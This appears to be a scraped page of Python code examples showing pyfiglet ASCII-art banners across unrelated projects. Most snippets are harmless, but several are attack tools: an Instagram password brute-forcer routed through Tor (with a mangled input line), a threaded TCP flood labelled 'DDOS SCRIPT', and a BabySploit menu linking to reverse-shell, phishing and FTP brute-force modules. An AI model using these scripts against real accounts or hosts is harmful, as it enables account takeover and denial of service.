custom_fig = Figlet(font='big')
print(custom_fig.renderText('ICY'))

print('\n')
token = input("Token : ")

head = {'Authorization': str(token)}
src = requests.get('https://discordapp.com/api/v6/users/@me', headers=head)

if src.status_code == 200:
    print('❤ Valid Token ❤ ')
    input("Press any key to continue...")
else:
    print(f'[{Fore.RED}-{Fore.RED}] ✣ Invalid token ✣ ')
    input("Press any key to exit...")
    exit(0)
コード例 #39
0
smtp_server_port = int(config_roamon_alert["smtp_server_port"])
sender_email_address = config_roamon_alert["sender_email_address"]

# 監視間隔
watch_interval = int(config_roamon_alert["watch_interval"])

# DBの設定
db_host = config_roamon_alert["db_host"]
db_port = int(config_roamon_alert["db_port"])
db_name = config_roamon_alert["db_name"]
db_user_name = config_roamon_alert["db_user_name"]
db_password = config_roamon_alert["db_password"]

# ロゴの描画
f = Figlet(font='slant')
print(f.renderText('roamon-alert'))

mailer = roamon_alert_mail.MailSender(smtp_server_address, smtp_server_port, sender_email_address)
db_controller = roamon_alert_db.RoamonAlertDb(db_host, db_port, db_name, db_user_name, db_password)
watcher = roamon_alert_watcher.RoamonAlertWatcher(dir_path_data, file_path_vrps, file_path_rib,
                                                  mailer, db_controller)


# 連絡先追加の処理を記述するコールバック関数 (以下同じ)
def command_add(args):
    watcher.add_contact_info_to_list(args.type, args.dest, args.prefixes, args.asns)


def command_delete(args):
    watcher.delete_contact_info_from_list(args.type, args.dest, args.prefixes, args.asns)
コード例 #40
0
ファイル: main.py プロジェクト: MaximAdler/language-cards
import json
import random
import time
from argparse import ArgumentParser
from datetime import datetime

from pyfiglet import Figlet
from termcolor import colored

from constants import CONGRATS, FIGLET_FONT
from helpers import clear_window

FIGLET = Figlet(justify='center', font=FIGLET_FONT)
ACCEPT_CHANGES = FIGLET.renderText('Got it')

clear_window()

parser = ArgumentParser(description='Tool for learning English.')
parser.add_argument('--new',
                    dest='new_pair',
                    help='Add new pair of words.',
                    nargs=2,
                    metavar=('original', 'translation'),
                    type=str)
parser.add_argument('--train',
                    dest='train',
                    help='Start training (using cards).',
                    choices=(
                        'all',
                        'new',
                    ))
コード例 #41
0
ファイル: craftbeerpi.py プロジェクト: Biba86/craftbeerpi4
 def _print_logo(self):
     from pyfiglet import Figlet
     f = Figlet(font='big')
     logger.info("\n%s" % f.renderText("%s %s" % (self.static_config.get("name"), self.static_config.get("version"))))
コード例 #42
0
ファイル: __init__.py プロジェクト: tasercake/Beatbrain
def main(ctx):
    f = Figlet(font="doom")
    click.echo(
        click.style(f.renderText("BeatBrain"), fg="bright_blue", bold=True))
    if ctx.invoked_subcommand is None:
        click.echo(ctx.get_help())
コード例 #43
0
def print_header():
    """Why not.
    """
    f = Figlet(font='big')
    print f.renderText('HackMiner')
    print "Version 0.2.1"
コード例 #44
0
    def start(self, path):
        try:
            self.get_apk_info(path)
            self.source_analysis(path)
            self.saveResult(path)
        except:
            error_result = open("ERROR.txt", 'a')
            error_result.write(path + " 解析失败\n")
            print path + " 解析失败"
            error_result.close()


if __name__ == "__main__":
    f = Figlet(font='colossal')
    print f.renderText('A N D Y')
    choice = 0
    path_list = []
    obj = GetAPKInfo()

    while True:
        try:
            '''Do you want to examine:
            [1] APK
            [2] Source'''
            print str('Do you want to examine:\n[1] APK\n[2] APKS\n[3] QUIT\n'
                      ).decode('string-escape').format()
            choice = str(raw_input('Enter your choice:')).strip()
            if int(choice) in (1, 2):
                break
            if int(choice) == 3:
コード例 #45
0
from colorama import Fore
from pyfiglet import Figlet
wik = Figlet()
print(Fore.RED + wik.renderText("WikiSaleh"))
number1 = input(Fore.BLUE + "Please Enter Number 1 : ")
number2 = input(Fore.GREEN + "Please Enter Number 2 : ")
number1 = int(number1)
number2 = int(number2)
Jam = ("{} + {} = {}".format(number1, number2, number1 + number2))
Tafrigh = ("{} - {} = {}".format(number1, number2, number1 - number2))
Zarb = ("{} × {} = {}".format(number1, number2, number1 * number2))
Taghsim = ("{} ÷ {} = {}".format(number1, number2, number1 / number2))
operation = input(Fore.WHITE + "1.Jam " + Fore.RED + " 2.Tafrigh" + Fore.BLUE +
                  " 3.Zarb" + Fore.YELLOW + " 4.Taghsim : ")
if operation == "1": print(Jam)
elif operation == "2": print(Tafrigh)
elif operation == "3": print(Zarb)
elif operation == "4": print(Taghsim)
else:
    print(Fore.RED + "Please Enter Valid Operation:1,2,3,4")
コード例 #46
0
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from colorama import Fore
from pyfiglet import Figlet
import os
import pyautogui
import time as t

fig = Figlet(font="block")
print(Fore.RED + fig.renderText("IGBrute"))

b = webdriver.Firefox(executable_path="//path/to/gecko/driver")

victim = input(Fore.YELLOW + "[*] Target username: "******"[*] Wordlist: ")
passlist = open(passlist, "r")

timeout = int(
    input(Fore.YELLOW + "\n[*] Timeout between each password (Secs): "))
print(Fore.YELLOW + "[-] Please wait for a moment")
t.sleep(2)

for password in passlist:
    os.system("service tor start")

    b.get("https://www.instagram.com")
    print(Fore.GREEN + "Trying password [%s]" % password)
    t.sleep(timeout)

    username = b.find_element_by_xpath(
        '//*[@id="react-root"]/section/main/article/div[2]/div[1]/div/form/div[2]/div/label/input'
コード例 #47
0
from pyfiglet import Figlet

f = Figlet()
print(f.renderText('I\'m Natz'))
コード例 #48
0
ファイル: __main__.py プロジェクト: rqtx/BabySploit
 def main():
     terminal = input("\n[babysploit]> ")  # Define the name of the terminal
     if terminal[
             0:
             4] == "help":  # From Char Space 0 - 4 if it = help run the help command.
         f = Figlet(font='slant')
         print(f.renderText("       Help"))
         helper.run()
         main()
     elif terminal[0:1] == "?":  # Same as above
         f = Figlet(font='slant')
         print(f.renderText("       Help"))
         helper.run()
         main()
     elif terminal[0:4] == "info":  # Same as above but for info command
         for key, value in config.items('DEFAULT'):
             print("%s: %s" % (key, value))
         main()
     elif terminal[0:5] == "tools":  # Same as above but for tool command
         display.tools()
         main()
     elif terminal[0:6] == "search":
         searchsploit.search()
         main()
     elif terminal[0:3] == "set":  # Set Config Key
         if terminal[4:] == terminal[4:]:  # Take Input After `set `
             config['DEFAULT'][terminal[4:]] = input(
                 "Enter Value For %s: " %
                 terminal[4:])  # Get Value for that key name
             with open("./config.cfg", "w") as configfile:
                 config.write(configfile)  # Write the new config key
             print("Config Key Saved!")
             main()
     elif terminal[0:5] == "reset":  # Reset configuration
         config['DEFAULT'] = {
             'lhost': '0.0.0.0',
             'lport': '8080',
             'rhost': 'google.com',
             'rport': '80',
             'platform': '',
             'usernamelist': 'lists/usernames',
             'passwordlist': 'lists/passwords',
             'urlpath': '/connect'
         }
         with open("./config.cfg", "w") as configfile:
             config.write(configfile)
         main()
     elif terminal[0:4] == "exit":
         print("Exiting...")
         exit()
     elif terminal[0:7] == "raccoon":
         if terminal[8:] == terminal[8:]:
             query = terminal[8:]
             os.system("raccoon %s" % query)
         else:
             print("Please use raccoon --help for arguments.")
         main()
     elif terminal[0:8] == "iplookup":
         iplookup.run()
         main()
     elif terminal[0:4] == "nmap":
         nmtool.run()
         main()
     elif terminal[0:12] == "reverseshell":
         reverseshell.run()
         main()
     elif terminal[0:12] == "censyslookup":
         print("Broken Coming Soon")
         main()
     elif terminal[0:9] == "dnslookup":
         dnslookup.start()
         main()
     elif terminal[0:8] == "blackeye":
         blackeye.run()
         main()
     elif terminal[0:11] == "ftpvulnscan":
         ftpv.checkVulnerability()
         main()
     elif terminal[0:6] == "wpseku":
         wpseku.run()
         main()
     elif terminal[0:8] == "cfbypass":
         cloudflarebypass.run()
         main()
     elif terminal[0:13] == "ftpbruteforce":
         ftpbruteforce.start()
         main()
     else:
         print("Unknown Command")
         main()
コード例 #49
0
ファイル: dmv_test.py プロジェクト: med-amiine/dmv_express
def welcome_message():
    f = Figlet(font='slant')
    print(f.renderText('| dmv express appointment |'))
コード例 #50
0
def print_hic_headline():
    clear_console()
    f = Figlet(font='slant')
    print(f.renderText('High Intensity Peak Analysis'))
コード例 #51
0

from tqdm import tqdm
from pyfiglet import Figlet

def stop_running():
	time.sleep(1)


def localip():
	cmd = 'python findlocalip.py'
	os.system(cmd)	


f = Figlet(font='doom')
print (f.renderText('anonim'))
time.sleep(3)


print('Creating media folder!\n')
time.sleep(2)
for i in tqdm(range(100)):
	time.sleep(0.100)
os.mkdir('media')
print('--------------media folder created!\n----------------')
time.sleep(2)


print('Creating Datebase!\n')
time.sleep(2)
for i in tqdm(range(100)):
コード例 #52
0
from pyfiglet import Figlet
import socket
f = Figlet(font='banner3-D')
print ("Authored by: \n", f.renderText('MALW0RE'))


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
host = input("Enter the IP you want to scan: ")
port = int(input("Enter port you want to scan: "))

def portScanner(port):
    if s.connect_ex((host, port)):
        print("The port is closed")
    else:
        print("The port is open")


portScanner(port)
コード例 #53
0
ファイル: resize.py プロジェクト: atrievel/ImageRemakeCLI
import click
from PIL import Image, ImageOps
from pyfiglet import Figlet

f = Figlet(font='slant')
click.secho(f.renderText('ImageResize v1.0'), fg="red", bold=True)


@click.command()
@click.option("-p", "--path", type=str, help="Sets path of destination image.")
@click.option("-width",
              type=int,
              help="Resizes image to some width and height")
@click.option("-height",
              type=int,
              help="resizes Image to some height and width")
def resize(path, width, height):
    try:
        org_img = Image.open(path)
        size = (width, height)
        rsz_img = ImageOps.fit(org_img, size, Image.ANTIALIAS)
        rsz_img.show()
        click.secho("All images processed!", fg="green", bold=True)
    except Exception as e:
        print(e)


if __name__ == "__main__":
    resize()
コード例 #54
0
ファイル: main.py プロジェクト: mwone472/wone_python
#  _       ______  _   ________
# | |     / / __ \/ | / / ____/
# | | /| / / / / /  |/ / __/
# | |/ |/ / /_/ / /|  / /___
# |__/|__/\____/_/ |_/_____/

from pyfiglet import Figlet
import os

text = Figlet(font="slant")
os.system("cls")
os.system("mode con: cols=75 lines=75")
print(text.renderText("WONE"))
コード例 #55
0
ファイル: tool_name.py プロジェクト: aparnavadlamani/Reqkit
from pyfiglet import Figlet
f = Figlet(font='slant')
print(f.renderText('REQKIT'))
コード例 #56
0
import threading
import socket
from pyfiglet import Figlet
from colorama import *

f = Figlet(font='slant')
print(Fore.MAGENTA + f.renderText('DDOS SCRIPT'))

target = input('Podaj ip: ')
port = int(input('Podaj port: '))
fake_ip = input('Podaj sztuczne ip: ')
threads = int(input('Podaj ilość ataków: '))


def ddos():
    while True:
        ### atak na TCP ###
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(('GET /' + target + ' HTTP/1.1\r\n').encode('ascii'),
                 (target, port))  ### wysylanie zapytan
        s.sendto(('HOST /' + fake_ip + ' \r\n\r\n').encode('ascii'),
                 (target, port))  ### wysylanie zapytan
        s.close()


for i in range(threads):
    ddos()
    thread = threading.Thread(target=ddos)
    thread.start()
コード例 #57
0
ファイル: stormhunter.py プロジェクト: tukaisg/IPvZero
from nornir import InitNornir
from nornir.plugins.tasks.networking import netmiko_send_command
from nornir.plugins.functions.text import print_result
from pyfiglet import Figlet

custom_fig = Figlet(font='slant')
sub_fig = Figlet(font='digital')
print(custom_fig.renderText('STORMHUNTER!'))
print(sub_fig.renderText('''Storm's a-brewin'...'''))


def get_facts(task):
    r = task.run(netmiko_send_command,
                 command_string="show interfaces",
                 use_genie=True)
    task.host["facts"] = r.result
    for i in range(0, 3):
        for j in range(0, 4):
            broadcast_value = int(
                task.host['facts']['GigabitEthernet' + str(i) + "/" +
                                   str(j)]['counters']['in_broadcast_pkts'])
            if broadcast_value >= 1500:
                print("Potential broadcast storm on " + task.host.hostname +
                      "'s GigabitEthernet" + str(i) + "/" + str(j) +
                      " interface")


def main() -> None:
    nr = InitNornir(config_file="config.yaml")
    result = nr.run(task=get_facts)
    #print_result(result)
コード例 #58
0
ファイル: __init__.py プロジェクト: ranguli/ioccheck
        "printers": [
            TagsPrinter,
            DetectionsPrinter,
            BehaviorPrinter,
            TwitterPrinter,
        ],
    },
    {
        "name": "public IPv4 or IPv6 address",
        "ioc": IP,
        "exception": exceptions.InvalidIPException,
        "printers": [TagsPrinter, TwitterPrinter],
    },
]

cprint(figlet.renderText("ioccheck"))

cprint(f"v{version} (https://github.com/ranguli/ioccheck)\n", HEADING_COLOR)


@click.command()
@click.argument("ioc")
@click.option("--config", required=False, type=str)
@click.option("--report", required=False, type=str)
def run(ioc, config, report):
    """Entrypoint for the ioccheck CLI"""

    printed_ioc = colored(ioc, HEADING_COLOR)
    print(f"Checking IOC {printed_ioc}.\n")

    if not config:
コード例 #59
0
ファイル: scrapper.py プロジェクト: jct94/phd_onion_scrapper
def banner():
    banner = Figlet(font='slant')
    print(banner.renderText('TorScraper'))
    print("\n")
コード例 #60
0
        """Usage: text <first_name> -m [<message>...]"""
        app_functions.send_text(line)

    @docopt_cmd
    def do_del(self, line):
        """Usage: delete <first_name>"""
        app_functions.delete_contact(line)

    @docopt_cmd
    def do_edit(self, line):
        """Usage: edit <first_name>"""
        app_functions.edit_contact(line)

    @docopt_cmd
    def do_sync(self, line):
        """Usage: sync"""
        app_functions.sync()


OPT = docopt(__doc__, sys.argv[1:], version="ContactManager version: 1.0")

if OPT['--interactive']:
    try:
        app_functions.delay_print(__doc__, 0.001)
        ContactManager().cmdloop()
    except KeyboardInterrupt:
        os.system('clear')
        f = Figlet(font='contessa')
        app_functions.delay_print('\n\n' + \
                colored(f.renderText('Goodbye...'), 'yellow', attrs=['bold', 'blink']), 0.01)